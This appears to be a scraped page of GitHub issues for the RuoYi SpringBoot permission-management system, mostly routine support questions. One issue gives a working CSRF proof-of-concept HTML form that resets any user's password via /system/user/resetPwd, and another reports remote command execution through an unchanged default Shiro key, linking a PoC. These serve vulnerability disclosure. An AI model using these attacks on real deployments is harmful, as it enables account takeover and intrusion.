yangzongzhuan / ruoyi Goto Github PK
View Code? Open in Web Editor NEW:tada: (RuoYi)官方仓库 基于SpringBoot的权限管理系统 易读易懂、界面简洁美观。 核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖。直接运行即可用
Home Page: http://ruoyi.vip
License: MIT License
:tada: (RuoYi)官方仓库 基于SpringBoot的权限管理系统 易读易懂、界面简洁美观。 核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖。直接运行即可用
Home Page: http://ruoyi.vip
License: MIT License
请问一下,如果我想多出多个sheet页的报表应该怎么实现?sheet也的字段不一样
As shown in the figure below, there is user management function
When constructing the following malicious page
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="localhost/system/user/resetPwd" method="POST">
<input type="hidden" name="userId" value="1" />
<input type="hidden" name="loginName" value="test" />
<input type="hidden" name="password" value="12345678" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When the administrator is induced to visit the page, any account password can be reset
在windows打包成jar包后,在linux环境运行java -jar 报如下错误,确认initialSize有配置
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
16:35:33.877 [main] ERROR o.s.b.SpringApplication - [reportFailure,858] - Application run failed
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'shiroFilterFactoryBean' defined in class path resource [com/ruoyi/framework/config/ShiroConfig.class]: BeanPostProcessor before instantiation of bean failed; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authorizationAttributeSourceAdvisor' defined in class path resource [com/ruoyi/framework/config/ShiroConfig.class]: Unsatisfied dependency expressed through method 'authorizationAttributeSourceAdvisor' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'securityManager' defined in class path resource [com/ruoyi/framework/config/ShiroConfig.class]: Unsatisfied dependency expressed through method 'securityManager' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'userRealm': Unsatisfied dependency expressed through field 'menuService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'menuServiceImpl': Unsatisfied dependency expressed through field 'menuMapper'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'menuMapper' defined in URL [jar:file:/data/htdocs/java/sit.jar!/BOOT-INF/classes!/com/ruoyi/project/system/menu/mapper/MenuMapper.class]: Unsatisfied dependency expressed through bean property 'sqlSessionFactory'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'sqlSessionFactory' defined in class path resource [org/mybatis/spring/boot/autoconfigure/MybatisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'sqlSessionFactory' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'dynamicDataSource' defined in class path resource [com/ruoyi/framework/config/DruidConfig.class]: Unsatisfied dependency expressed through method 'dataSource' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'masterDataSource' defined in class path resource [com/ruoyi/framework/config/DruidConfig.class]: Unsatisfied dependency expressed through method 'masterDataSource' parameter 0; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'druidProperties': Injection of autowired dependencies failed; nested exception is java.lang.IllegalArgumentException: Could not resolve placeholder 'spring.datasource.druid.initialSize' in value "${spring.datasource.druid.initialSize}"
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:493)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:320)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:222)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:318)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:204)
at org.springframework.context.support.PostProcessorRegistrationDelegate.registerBeanPostProcessors(PostProcessorRegistrationDelegate.java:240)
at org.springframework.context.support.AbstractApplicationContext.registerBeanPostProcessors(AbstractApplicationContext.java:707)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:531)
at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:142)
at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:775)
at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:397)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:316)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1260)
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1248)
at com.ruoyi.RuoYiApplication.main(RuoYiApplication.java:18)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.springframework.boot.loader.MainMethodRunner.run(MainMethodRunner.java:48)
at org.springframework.boot.loader.Launcher.launch(Launcher.java:87)
at org.springframework.boot.loader.Launcher.launch(Launcher.java:50)
at org.springframework.boot.loader.JarLauncher.main(JarLauncher.java:51)
注册功能提交时input框name为username 但提交的时候是logName接收, 但都是只提交了一个名字, 由于数据库设置两者均不能为空,也没有默认值,故会报错.
分离版如何打开新的选项卡,用$.modal.openTab("部门管理", url);,不行,不知道$.modal怎么引入
分离版如果打开新标签,$.modal.openTab("部门管理", url);这样写不行,不知道怎么引入$.modal
From what I could figure out from the source code of swagger-ui it can work without those endpoints. Basically it uses the base url to search in the html for a csrf meta information or if that fails it checks an endpoint /csrf to check for csrf token. As last the cookies are checked if some contains the XSRF-TOKEN value
Shiroconfig file release permission
filterChainDefinitionMap.put("/swagger-ui.html", "anon");<br/> filterChainDefinitionMap.put("/swagger-resources/**", "anon");<br/> filterChainDefinitionMap.put("/v2/**", "anon");<br/> filterChainDefinitionMap.put("/webjars/**", "anon");
Reduce swagger to 2.8.0
Add cross domain lifter
Modify the swagger configuration of ResourcesConfig
registry.addResourceHandler("swagger-ui.html").addResourceLocations("classpath:/META-INF/resources/swagger-ui.html");
能说下注册的逻辑吗?为什么注册会走缓存,sys_config:sys.account.registerUser这个key里面存的是什么?
你好,作者。
我创建了一个treetable,在别的普通table里能通过UUID进行删除,但是在treetable里却无法实现。
生产环境经常出现
chunk-libs.8d06862d.js:46 Error: Loading chunk chunk-489b6646 failed.
(missing: http://new_console.famy.ly/static/js/chunk-489b6646.73a176b8.js)
at HTMLScriptElement.b (anchorScreening:184)
这种报错导致卡死
【实习】Never say die([email protected]) 2020/11/21 15:07:31
请问一下新建子模式引用ruoyi-common-redis,bean注入不进来喝ruoyi-system是一样的
【实习】Never say die([email protected]) 2020/11/21 15:07:49
有遇到过这种情况的吗
希望在多数据源的文档里说明这种情况,避免其他兄弟踩坑。
今天更新后发现添加系统用户页面有问题$.operate.addTab()
addTab这个JS方法有问题
请问一下为什么需要在主项目pom文件中引入子模块的依赖呢,不是已经有modules标签和parent标签表名模块之间的关系了么
按照文档配置好,正常运行后,无法登录后台,显示如下信息,是什么原因?
6:55:27.859 [http-nio-8081-exec-14] INFO c.r.f.s.w.f.BJwtFilter - [getToken,93] - jwt:null
希望UP能补全文档~
在后台直接查询到用户的账号和密码(已加密不可逆转),怎么登录系统
请问若依 使用bootstrapTable父子表的时候,子表已经成功显示在父表中,但父表上的checkbox无法选择到子表中的数据,父子表的checkbox怎么解决联动问题?
1.选择父表checkbox 子表全选 子表如果没有全选中 父表不选中
1.包括父表全选的时候 子表也联动全选 子表不全选中时 父表不选中 父表全选也不选中
请大神帮忙
When there is a large amount of data, the tree performance has problems. How does tree implement virtual list loading?
文档清晰,笔录也很棒,虽然都是一些基础问题,但是都是很多人容易犯的。作者很用心。给个赞!
请在issues里提问,方便统一处理。
当我一个用户有4个角色 ,我用户集合有8条 这样我left join 角色表会查出11条 进行了分页 ,恰好那有四个角色的用户查询在上面 那么我userList的不会出现8条数据,只有7条,因为分页了下个用户在下一页,那个用户有三个角色的映射到了用户的roles里面了
一个用户有多个角色,每个角色的数据权限都不一样,这时候dataScopeFilter方法中会读取到2个不同的role的datascope,造成使用混乱
例如新建了2个角色,菜单权限不同,2个角色中包含了同一个人,数据权限都是仅限本人。这时候sql中会出现AND (u.user_id = 2 OR u.user_id = 2 ) 拼装了2次,这个算问题吗?
when you install it and Don‘t update your shiro key,Perhaps you will be attacked, so that the system can execute arbitrary commands.
POC:
https://github.com/wyzxxz/shiro_rce
之前集成了mybatisplus 现在多数据源需要推送数据到中间库 ,所以想问我呢 怎么改mybatisplus
在service层,如:
List list =new ArrayList<>();
list.add(user1);
list.add(user2);
return list;
在controll层,写:
startPage();
List lists=userService.selectUserList(Vo); (在这一步,没有分页处理)
getDataTable(list);
1、开启editable编辑,如果是金额格式成333,333,333。再回显应该现实原始,不应该是格式化的值。如果是格式化的金额无法提交
实例按钮---- 表单 --- 选择 -弹出404 点首页,会和原来首页重叠
把常见的解决方法都使用了,但是启动还是失败,重新拉去项目也是一样
在原包基础上新增一个模块:ruoyi-rest, 用来做api接口,每次启动ruoyi-rest访问,跳转到后台登录页面去,这块在哪里修改。
当前端页面数据量大时,如登录日志,当一页显示50条时就已经产生卡顿感,数据量更大时卡顿明显
请问怎么在数据库批量修改用户的密码,并加密
现在定时任务的日志消息里只是记录了一个task总共耗时了多少毫秒,能将task里输出的一些log也记录在job_message里吗?这样前台定时任务的日志管理里也能更好的看到task的运行详细情况。
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.